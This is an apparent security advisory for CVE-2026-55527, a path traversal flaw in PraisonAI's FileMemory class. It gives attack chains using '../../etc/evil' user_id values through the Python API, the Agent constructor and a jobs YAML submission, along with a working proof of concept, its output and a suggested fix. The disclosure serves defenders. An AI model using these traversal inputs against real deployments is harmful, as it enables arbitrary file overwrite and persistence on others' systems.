GHSA-gxmw-5f7x-6g22

Опубликовано: 25 авг. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.1

Описание

praisonaiagents vulnerable to arbitrary file write via unsanitized user_id in FileMemory.__init__() — path traversal to any writable location

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__( self, user_id: str = "default", base_path: Optional[str] = None, ... ): ... self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION self.episodic_path = self.user_path / "episodic" self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path self.episodic_path.mkdir(parents=True, exist_ok=True) self.config_file = self.user_path / "config.json" self.short_term_file = self.user_path / "short_term.json" self.long_term_file = self.user_path / "long_term.json" self.entities_file = self.user_path / "entities.json" self.summaries_file = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name): raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory mem = FileMemory(user_id="../../etc/evil") mem.add_short_term("injected content") # Creates /etc/evil/short_term.json (on Linux) # Creates C:\evil\short_term.json (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent agent = Agent( name="assistant", memory={"provider": "file", "user_id": "../../etc/evil"}, instructions="You are a helpful assistant.", ) # FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml: agents: researcher: memory: provider: file user_id: "../../tmp/evil" role: "Research assistant" goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path import tempfile base = Path(tempfile.gettempdir()) / "praisonai" / "memory" user_id = "../../../tmp/evil_escape" user_path = base / user_id try: user_path.resolve().relative_to(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json from pathlib import Path from praisonaiagents.memory.file_memory import FileMemory BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory" BASE.mkdir(parents=True, exist_ok=True) TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve() mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE)) mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this") mem.add_long_term("SENSITIVE_DATA", importance=0.9) # Verify files appeared OUTSIDE the base directory for fname in ["short_term.json", "long_term.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json Content: PROOF_OF_TRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json Content: SENSITIVE_DATA WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

Any application that creates FileMemory instances with user-controlled user_id
Any PraisonAI deployment where users can supply the user_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.
Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

	GHSA-766v-q9x3-g744	This finding
File	`examples/context/12_multi_agent_context.py` (example)	`praisonaiagents/memory/file_memory.py` (core library)
Class	`MultiAgentMonitor`	`FileMemory`
Fixed in	`praisonaiagents >= 1.5.115`	Not patched (affects 1.6.52)

--- ## Remediation Suggestion (for maintainers) Validate and resolve `user_id` before using it in path construction: ```python def __init__(self, user_id: str = "default", base_path=None, ...): ... # ADDED: sanitize user_id import re if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id): raise ValueError( f"user_id '{user_id}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." ) self.user_path = self.base_path / user_id # ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.user_path.resolve() base_resolved = self.base_path.resolve() try: resolved.relative_to(base_resolved) except ValueError: raise ValueError( f"user_id '{user_id}' would write outside the base memory directory." )

The same pattern should be applied to base_path parameter.

Ссылки

Пакеты

Наименование

praisonaiagents

pip

Затронутые версииВерсия исправления

< 1.6.58

1.6.58

EPSS

Процентиль: 25%

0.00321

Низкий

7.1 High

CVSS3

CVE ID

CVE-2026-55527

Дефекты

CWE-22

CWE-73

Связанные уязвимости

CVE-2026-55527

CVSS3: 7.1

nvd

22 дня назад

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.

EPSS

Процентиль: 25%

0.00321

Низкий

7.1 High

CVSS3

CVE ID

CVE-2026-55527

Дефекты

CWE-22

CWE-73